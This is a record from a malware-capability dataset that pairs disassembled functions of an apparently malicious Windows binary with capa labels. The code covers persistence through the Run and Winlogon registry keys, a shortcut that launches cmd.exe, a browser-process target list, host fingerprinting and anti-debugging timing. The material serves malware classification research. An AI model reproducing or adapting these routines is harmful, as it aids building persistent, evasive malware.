joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401f4d
Capabilities:
Create shortcut via ishelllink

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x401f72
cmp dword [ebp - 8], 1
je 0x401f72
mov eax, dword [ebp - 8]
jmp 0x402057
lea eax, [ebp - 0xc]
push eax
push 0x4051bc
push 1
push 0
push 0x4051cc
call dword [sym.imp.ole32.dll_CoCreateInstance]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jl 0x402054
push str._windir__system32cmd.exe
mov eax, dword [ebp - 0xc]
mov eax, dword [eax]
push dword [ebp - 0xc]
call dword [eax + 0x50]
push 0
push dword [ebp + 8]
mov eax, dword [ebp - 0xc]
mov eax, dword [eax]
push dword [ebp - 0xc]
call dword [eax + 0x48]
push dword [ebp + 0xc]
mov eax, dword [ebp - 0xc]
mov eax, dword [eax]
push dword [ebp - 0xc]
call dword [eax + 0x24]
push dword [ebp + 0x10]
mov eax, dword [ebp - 0xc]
mov eax, dword [eax]
push dword [ebp - 0xc]
call dword [eax + 0x1c]
push dword [ebp + 0x1c]
mov eax, dword [ebp - 0xc]
mov eax, dword [eax]
push dword [ebp - 0xc]
call dword [eax + 0x34]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
mov eax, dword [ebp - 0xc]
mov eax, dword [eax]
push dword [ebp - 0xc]
call dword [eax + 0x44]
push 7
mov eax, dword [ebp - 0xc]
mov eax, dword [eax]
push dword [ebp - 0xc]
call dword [eax + 0x3c]
push str._c_start_____DeviceManager.exe__exit
mov eax, dword [ebp - 0xc]
mov eax, dword [eax]
push dword [ebp - 0xc]
call dword [eax + 0x2c]
lea eax, [ebp - 0x10]
push eax
push 0x4051dc
mov eax, dword [ebp - 0xc]
mov eax, dword [eax]
push dword [ebp - 0xc]
call dword [eax]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jl 0x402049
push 1
push dword [ebp + 8]
mov eax, dword [ebp - 0x10]
mov eax, dword [eax]
push dword [ebp - 0x10]
call dword [eax + 0x18]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x10]
mov eax, dword [eax]
push dword [ebp - 0x10]
call dword [eax + 8]
mov eax, dword [ebp - 0xc]
mov eax, dword [eax]
push dword [ebp - 0xc]
call dword [eax + 8]
mov eax, dword [ebp - 4]
leave
ret
Function at 0x10001000
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
push edi
xor edi, edi
cmp eax, edi
je 0x1000116f
push ebx
push edi
push edi
push edi
push edi
push 0xffffffffffffffff
push eax
push edi
push edi
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov ebx, eax
cmp ebx, edi
je 0x1000116e
push esi
lea eax, [ebx + ebx]
xor esi, esi
cmp eax, edi
je 0x1000105f
lea edi, [eax + 0x13]
and edi, 0xfffffff0
push edi
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
test esi, esi
je 0x1000105d
push edi
push 0
push esi
call sub.MSVCRT.dll_memset
add esp, 0xc
xor edi, edi
cmp esi, edi
je 0x1000116d
mov eax, dword [ebp + 0xc]
push edi
push edi
push ebx
push esi
push 0xffffffffffffffff
push eax
push edi
push edi
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push esi
call fcn.1001c9e0
test eax, eax
jne 0x1000116d
mov ebx, dword [sym.imp.SHLWAPI.dll_StrStrIA]
push str.name.key
push esi
call ebx
test eax, eax
je 0x100010b9
push edi
push edi
push esi
push 0x10019be0
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
cmp esi, edi
je 0x1000116d
lea ecx, [ebp + 0xc]
push ecx
jmp 0x1000112b
mov edx, dword [ebp + 8]
push edx
call fcn.1001f0a0
test eax, eax
je 0x100010e6
push edi
push edi
push esi
push 0x1001f1b0
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
cmp esi, edi
je 0x1000116d
lea eax, [ebp + 0xc]
push eax
jmp 0x1000112b
push str._secrets.key
push esi
call ebx
test eax, eax
je 0x100010fc
push edi
push edi
push esi
push 0x100206e0
jmp 0x100010a1
push str.sign.key
push esi
call ebx
test eax, eax
je 0x1000114d
call fcn.10021150
test eax, eax
je 0x1000114d
push edi
push edi
push esi
push 0x100211c0
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
cmp esi, edi
je 0x1000116d
lea edx, [ebp + 0xc]
push edx
push esi
mov dword [ebp + 0xc], edi
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x1000116d
test byte [ebp + 0xc], 2
jne 0x1000116d
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
pop ebx
pop edi
pop ebp
ret 8
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push esi
push edi
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapValidate]
test eax, eax
je 0x1000116d
push esi
push edi
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop esi
pop ebx
pop edi
pop ebp
ret 8
Function at 0x10001730
Capabilities:
Encode data using base64

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
push ebx
push esi
push edi
mov ecx, 0x10
mov esi, str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_
lea edi, [ebp - 0x44]
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov esi, dword [ebp + 8]
add esi, 0xfffffffe
xor ecx, ecx
test esi, esi
jle 0x100017c2
jmp 0x10001760
movzx edi, byte [edx + ecx]
shr edi, 2
movzx ebx, byte [ebp + edi - 0x44]
mov byte [eax], bl
movsx edi, byte [edx + ecx]
movzx ebx, byte [edx + ecx + 1]
and edi, 3
shr ebx, 4
shl edi, 4
or edi, ebx
movzx ebx, byte [ebp + edi - 0x44]
mov byte [eax + 1], bl
movsx ebx, byte [edx + ecx + 1]
movzx edi, byte [edx + ecx + 2]
and ebx, 0xf
add ebx, ebx
shr edi, 6
add ebx, ebx
or edi, ebx
movzx ebx, byte [ebp + edi - 0x44]
mov byte [eax + 2], bl
movsx edi, byte [edx + ecx + 2]
and edi, 0x3f
movzx ebx, byte [ebp + edi - 0x44]
mov byte [eax + 3], bl
add ecx, 3
add eax, 4
cmp ecx, esi
jl 0x10001760
cmp ecx, dword [ebp + 8]
jge 0x1000183e
movzx esi, byte [ecx + edx]
shr esi, 2
mov bl, byte [ebp + esi - 0x44]
mov esi, dword [ebp + 8]
dec esi
mov byte [eax], bl
cmp ecx, esi
jne 0x10001801
movsx ecx, byte [ecx + edx]
and ecx, 3
add ecx, ecx
mov dl, byte [ebp + ecx*8 - 0x44]
mov byte [eax + 1], dl
pop edi
mov byte [eax + 2], 0x3d
add eax, 3
pop esi
mov word [eax], 0x3d
pop ebx
mov esp, ebp
pop ebp
ret 4
lea esi, [ecx + edx + 1]
movsx ecx, byte [ecx + edx]
movzx edx, byte [esi]
and ecx, 3
shl ecx, 4
shr edx, 4
or ecx, edx
movzx ecx, byte [ebp + ecx - 0x44]
mov byte [eax + 1], cl
movsx edx, byte [esi]
and edx, 0xf
movzx ecx, byte [ebp + edx*4 - 0x44]
pop edi
mov byte [eax + 2], cl
add eax, 3
pop esi
mov word [eax], 0x3d
pop ebx
mov esp, ebp
pop ebp
ret 4
pop edi
pop esi
mov byte [eax], 0
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x100018c0
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
sub esp, 8
cmp ecx, dword [esi + 4]
jae 0x100018ea
mov eax, ecx
mov edx, dword [esi]
mov dword [edx + eax*4], 0
inc eax
cmp eax, dword [esi + 4]
jb 0x100018d0
mov dword [esi + 4], ecx
xor eax, eax
mov esp, ebp
pop ebp
ret 4
push ebx
mov ebx, dword [esi + 8]
cmp ebx, ecx
jae 0x1000197a
lea eax, [ecx*4]
push edi
push eax
call dword [sym.imp.MSVCRT.dll_malloc]
mov edi, dword [esi]
add esp, 4
mov dword [ebp - 8], eax
test eax, eax
jne 0x10001939
test ebx, ebx
je 0x1000191f
dec ebx
mov dword [edi + ebx*4], 0
jne 0x10001915
mov ecx, dword [edi]
mov dword [ebp + 8], ecx
mov edx, dword [ebp + 8]
push edi
call dword [sym.imp.MSVCRT.dll_free]
add esp, 4
push 1
call dword [sym.imp.MSVCRT.dll_exit]
lea ecx, [ebx*4]
push ecx
push edi
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
test ebx, ebx
je 0x1000195a
nop
dec ebx
mov dword [edi + ebx*4], 0
jne 0x10001950
mov edx, dword [edi]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
push edi
call dword [sym.imp.MSVCRT.dll_free]
mov ecx, dword [ebp - 8]
mov edx, dword [ebp + 8]
add esp, 4
mov dword [esi], ecx
mov dword [esi + 8], edx
mov ecx, edx
pop edi
mov eax, dword [esi + 4]
pop ebx
cmp eax, ecx
jae 0x10001990
mov edx, dword [esi]
mov dword [edx + eax*4], 0
inc eax
cmp eax, ecx
jb 0x10001982
xor eax, eax
mov esp, ebp
pop ebp
ret 4

Function at 0x10002750
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
push ebx
mov ebx, dword [ebp + 0x10]
test eax, eax
je 0x1000276d
mov edi, edi
mov ecx, dword [ebp + 8]
dec eax
mov dword [ecx + eax*4], 0
jne 0x10002760
mov edx, dword [ebp + 8]
mov eax, dword [edx]
mov dword [ebp + 0x10], eax
mov ecx, dword [ebp + 0x10]
mov eax, ebx
lea edx, [eax + 1]
lea ecx, [ecx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10002780
sub eax, edx
jne 0x10002790
pop ebx
pop ebp
ret 0xc
push esi
mov dword [ebp + 0x10], eax
fild dword [ebp + 0x10]
push edi
test eax, eax
jns 0x100027a2
fadd qword [0x10048ce0]
fmul qword [0x10048ce8]
sub esp, 8
fstp qword [esp]
call fcn.100026e0
mov esi, eax
push 1
push esi
call dword [sym.imp.MSVCRT.dll_calloc]
mov edi, eax
add esp, 8
test edi, edi
jne 0x100027cf
push 1
call dword [sym.imp.MSVCRT.dll_exit]
mov al, byte [ebx]
test al, al
je 0x1000282f
mov dword [ebp + 0x10], ebx
jmp 0x100027e0
movsx eax, al
lea ecx, [eax - 0x30]
cmp ecx, 9
ja 0x100027ef
mov eax, ecx
jmp 0x10002807
lea edx, [eax - 0x61]
cmp edx, 5
ja 0x100027fc
sub eax, 0x57
jmp 0x10002807
lea ecx, [eax - 0x41]
cmp ecx, 5
ja 0x10002822
sub eax, 0x37
test esi, esi
je 0x10002822
lea ecx, [edi + esi - 1]
mov edx, esi
movzx ebx, byte [ecx]
shl ebx, 4
add eax, ebx
mov byte [ecx], al
shr eax, 8
dec ecx
dec edx
jne 0x10002811
mov eax, dword [ebp + 0x10]
inc eax
mov dword [ebp + 0x10], eax
mov al, byte [eax]
test al, al
jne 0x100027e0
mov edx, dword [ebp + 0xc]
mov eax, dword [ebp + 8]
push esi
push edx
push eax
call fcn.10002680
push edi
mov esi, eax
call dword [sym.imp.MSVCRT.dll_free]
add esp, 4
pop edi
mov eax, esi
pop esi
pop ebx
pop ebp
ret 0xc
Function at 0x10002860
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, dword [ebp + 0x10]
push esi
push edi
mov edi, eax
mov dword [ebp - 4], ebx
cmp ebx, edi
ja 0x10002876
mov dword [ebp - 4], edi
mov esi, dword [sym.imp.MSVCRT.dll_calloc]
push 4
push ebx
call esi
add esp, 8
mov dword [ebp + 0x10], eax
test eax, eax
jne 0x10002893
push 1
call dword [sym.imp.MSVCRT.dll_exit]
mov eax, dword [ebp - 4]
push 4
push eax
call esi
mov esi, eax
add esp, 8
test esi, esi
jne 0x100028ac
push 1
call dword [sym.imp.MSVCRT.dll_exit]
mov ecx, dword [ebp + 0x14]
mov edx, dword [ebp + 0xc]
mov eax, dword [ebp + 0x10]
push ecx
push ebx
push edx
push esi
push eax
mov eax, edi
call fcn.10001ec0
test edi, edi
je 0x100028db
mov eax, dword [ebp + 8]
mov ecx, esi
sub ecx, eax
lea esp, [esp]
mov edx, dword [ecx + eax]
mov dword [eax], edx
add eax, 4
dec edi
jne 0x100028d0
mov eax, ebx
test ebx, ebx
je 0x100028eb
dec eax
mov dword [esi + eax*4], 0
jne 0x100028e1
mov eax, dword [esi]
mov dword [ebp + 0x14], eax
mov ecx, dword [ebp + 0x14]
push esi
mov esi, dword [sym.imp.MSVCRT.dll_free]
call esi
add esp, 4
mov eax, ebx
test ebx, ebx
je 0x10002912
mov edx, dword [ebp + 0x10]
dec eax
mov dword [edx + eax*4], 0
jne 0x10002905
mov eax, dword [ebp + 0x10]
mov ecx, dword [eax]
mov dword [ebp + 0x10], ecx
mov edx, dword [ebp + 0x10]
push eax
call esi
add esp, 4
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 0x10

Function at 0x10002930
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 0x18]
push esi
push edi
lea edi, [ebx + ebx]
push 4
push edi
call dword [sym.imp.MSVCRT.dll_calloc]
mov esi, eax
add esp, 8
test esi, esi
jne 0x10002956
push 1
call dword [sym.imp.MSVCRT.dll_exit]
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
push ebx
push eax
push ecx
mov eax, esi
call fcn.10001c80
mov edx, dword [ebp + 0x14]
mov eax, dword [ebp + 8]
push edx
push edi
push esi
push eax
mov eax, ebx
call fcn.10002860
test edi, edi
je 0x1000298a
jmp 0x10002980
dec edi
mov dword [esi + edi*4], 0
jne 0x10002980
mov ecx, dword [esi]
mov dword [ebp + 0x18], ecx
mov edx, dword [ebp + 0x18]
push esi
call dword [sym.imp.MSVCRT.dll_free]
add esp, 4
pop edi
pop esi
xor eax, eax
pop ebx
pop ebp
ret 0x14
Function at 0x10003100
Capabilities:
Get disk information
Query environment variable
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x124
push ebx
push edi
xor edi, edi
push 0x104
mov eax, 4
push edi
push 0x1004c600
mov dword [ebp - 0x10], edi
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
call sub.MSVCRT.dll_memset
add esp, 0xc
call fcn.100234a0
mov ebx, eax
mov dword [ebp - 0xc], ebx
cmp ebx, edi
je 0x100032e7
push esi
call fcn.100235a0
mov esi, eax
mov dword [ebp - 8], esi
test esi, esi
je 0x10003295
push 0x104
lea eax, [ebp - 0x124]
push eax
push str.SystemDrive
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
lea ecx, [ebp - 0x124]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
push edi
push edi
push edi
push edi
lea edx, [ebp - 4]
push edx
push edi
push edi
lea eax, [ebp - 0x124]
push eax
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
test eax, eax
jne 0x10003199
mov dword [ebp - 4], 0xff00ff
lea ecx, [ebp - 0x14]
push ecx
push 0x101
push 0
push str.SoftwareMicrosoftWindows_NTCurrentVersion
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x100031df
lea edx, [ebp - 0x18]
push edx
mov edx, dword [ebp - 0x14]
lea eax, [ebp - 0x10]
push eax
lea ecx, [ebp - 0x1c]
push ecx
push 0
push str.InstallDate
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 0x10]
test eax, eax
je 0x100031e9
xor dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
push ecx
push esi
mov esi, dword [sym.imp.USER32.dll_CharUpperA]
call esi
push eax
push ebx
call esi
mov ebx, dword [sym.imp.MSVCRT.dll__snprintf]
push eax
push str._s__s__08X
push 0x104
push 0x1004c600
call ebx
mov eax, 0x1004c600
add esp, 0x18
xor esi, esi
lea edx, [eax + 1]
nop
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10003220
sub eax, edx
je 0x1000328d
jmp 0x10003230
mov edi, 0x1004c708
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x10003236
mov dx, word [0x1004370c]
mov eax, 0x1004c708
mov word [edi], dx
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10003250
movsx ecx, byte [esi + 0x1004c600]
push ecx
sub eax, edx
push str._02X
lea edx, [eax + 0x1004c708]
push 4
push edx
call ebx
mov eax, 0x1004c600
add esp, 0x10
inc esi
lea edx, [eax + 1]
lea ecx, [ecx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10003280
sub eax, edx
cmp esi, eax
jb 0x10003230
mov ebx, dword [ebp - 0xc]
mov edi, 1
mov esi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push ebx
push 0
call esi
mov ebx, dword [sym.imp.KERNEL32.dll_HeapValidate]
push eax
call ebx
test eax, eax
je 0x100032bc
mov eax, dword [ebp - 0xc]
push eax
push 0
call esi
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [ebp - 8]
test eax, eax
je 0x100032de
push eax
push 0
call esi
push eax
call ebx
test eax, eax
je 0x100032de
mov ecx, dword [ebp - 8]
push ecx
push 0
call esi
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop esi
mov eax, edi
pop edi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, edi
pop edi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10003310
Capabilities:
Get disk information
Persist via run registry key
Persist via winlogon helper dll registry key
Query environment variable
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x114
mov dword [ebp - 4], 0
mov dword [ebp - 0x10], 0xff0ff
mov dword [ebp - 8], 0x104
mov dword [ebp - 0xc], 1
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
je 0x100033d9
push 0x104
lea eax, [ebp - 0x114]
push eax
push str.SystemDrive
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
lea ecx, [ebp - 0x114]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
push 0
push 0
push 0
push 0
lea edx, [ebp - 0x10]
push edx
push 0
push 0
lea eax, [ebp - 0x114]
push eax
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
mov ecx, dword [ebp - 0x10]
push ecx
push 0x10043718
lea edx, [ebp - 0x114]
push 0x104
push edx
call dword [sym.imp.MSVCRT.dll__snprintf]
add esp, 0x10
lea eax, [ebp - 4]
push eax
push 0x101
push 0
push str.softwaremicrosoftwindows_ntcurrentversionwinlogon
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea ecx, [ebp - 8]
push ecx
mov ecx, dword [ebp - 4]
push 0x10057878
lea edx, [ebp - 0xc]
push edx
push 0
lea eax, [ebp - 0x114]
push eax
push ecx
jmp 0x1000340c
lea edx, [ebp - 4]
push edx
push 0x101
push 0
push str.softwaremicrosoftwindowscurrentversion_run
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov edx, dword [ebp - 4]
lea eax, [ebp - 8]
push eax
push 0x10057878
lea ecx, [ebp - 0xc]
push ecx
push 0
push str.userinit
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov eax, dword [ebp - 4]
test eax, eax
je 0x10003420
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esp, ebp
pop ebp
ret

Function at 0x10003430
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push esi
push edi
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov edi, 4
test eax, eax
jne 0x100034a7
lea eax, [ebp - 4]
push eax
push 0x101
push 0
push str.softwaremicrosoft
push 0x80000001
mov dword [ebp - 0x10], edi
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], edi
call esi
test eax, eax
jne 0x1000349c
lea ecx, [ebp - 0xc]
push ecx
mov ecx, dword [ebp - 4]
lea edx, [ebp - 8]
push edx
lea eax, [ebp - 0x10]
push eax
push 0
push 0x10058514
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
cmp eax, dword [ebp - 8]
sbb eax, eax
neg eax
jne 0x100034ff
lea ecx, [ebp - 8]
push ecx
push 0x101
push 0
push str.softwaremicrosoft
push 0x80000002
mov dword [ebp - 0xc], edi
mov dword [ebp - 4], 0
mov dword [ebp - 0x10], edi
call esi
test eax, eax
jne 0x100034f6
lea edx, [ebp - 0x10]
push edx
mov edx, dword [ebp - 8]
lea eax, [ebp - 4]
push eax
lea ecx, [ebp - 0xc]
push ecx
push 0
push 0x10058514
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor ecx, ecx
cmp ecx, dword [ebp - 4]
sbb eax, eax
neg eax
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10003510
Capabilities:
Check mutex on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
push esi
push 0x103
lea eax, [ebp - 0x107]
push 0
push eax
mov esi, 1
mov byte [ebp - 0x108], 0
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x104
lea ecx, [ebp - 0x108]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x10003676
push ebx
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push str.kernel32.dll
mov dword [ebp - 4], 0
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x10003593
push str.IsWow64Process
push eax
call ebx
mov esi, eax
test esi, esi
je 0x10003593
lea edx, [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call esi
cmp dword [ebp - 4], 0
je 0x100035bd
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
je 0x100035bd
push str._svchost.exe
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
test eax, eax
jne 0x1000367d
push str.kernel32.dll
mov dword [ebp - 4], 0
call edi
test eax, eax
je 0x100035ea
push str.IsWow64Process
push eax
call ebx
mov esi, eax
test esi, esi
je 0x100035ea
lea ecx, [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call esi
cmp dword [ebp - 4], 0
mov esi, dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
je 0x10003619
call esi
test eax, eax
jne 0x10003619
lea edx, [ebp - 0x108]
push edx
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameA]
push eax
push str.iexplore.exeopera.exejava.exejavaw.exeexplorer.exeisclient.exeintpro.exeipc_full.exemnp.execbsmain.dllfirefox.execlmain.execore.exemaxthon.exeavant.exesafari.exesvchost.exechrome.exenotepad.exerundll32.exenetscape.exetbb_firefox.exe
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
test eax, eax
je 0x1000367d
call esi
test eax, eax
je 0x10003635
push str.winlogon.exe
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
test eax, eax
jne 0x1000367d
call esi
test eax, eax
jne 0x1000366d
push str.explorer.exe
lea ecx, [ebp - 0x108]
push ecx
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
test eax, eax
je 0x1000366d
push 0x10058a28
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x1000367d
pop edi
pop ebx
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
pop edi
pop ebx
mov eax, 1
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10003690
Capabilities:
Execute anti-debugging instructions

Disassembly:
rdtsc
xor dword [0x1004c210], eax
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
xor dword [0x1004c210], eax
push 0x10044234
call ebx
test eax, eax
je 0x100036d1
push str.RtlUniform
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x100036d1
push 0x1004c210
call eax
mov ecx, dword [0x1004c210]
mov eax, ecx
xor edx, edx
or esi, 0xffffffff
div esi
lea esi, [ecx + eax]
rdtsc
xor ecx, eax
mov dword [0x1004c210], ecx
call edi
xor dword [0x1004c210], eax
push 0x10044234
call ebx
test eax, eax
je 0x10003717
push str.RtlUniform
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x10003717
push 0x1004c210
call eax
mov ecx, dword [0x1004c210]
push esi
mov eax, ecx
xor edx, edx
or esi, 0xffffffff
div esi
add eax, ecx
push eax
push str._x_x
push 0x104
push 0x10057980
call dword [sym.imp.MSVCRT.dll__snprintf]
add esp, 0x14
pop edi
pop esi
pop ebx
ret

Function at 0x10003750
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, 4
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
lea eax, [ebp - 4]
push eax
push 0x101
push 0
push str.softwaremicrosoft
push 0x80000001
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x100037ab
lea ecx, [ebp - 0xc]
push ecx
mov ecx, dword [ebp - 4]
lea edx, [ebp - 8]
push edx
lea eax, [ebp - 0x10]
push eax
push 0
push 0x10058924
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov eax, dword [ebp - 4]
test eax, eax
je 0x100037b9
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 8]
mov esp, ebp
pop ebp
ret

Function at 0x100037c0
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp - 4]
push eax
push 0x102
push 0
push str.softwaremicrosoft
push 0x80000001
mov dword [ebp - 4], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10003810
mov edx, dword [ebp - 4]
push 4
lea ecx, [ebp + 8]
push ecx
push 4
push eax
push 0x10058924
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x10003810
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
mov eax, dword [ebp - 4]
test eax, eax
je 0x1000381e
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esp, ebp
pop ebp
ret 4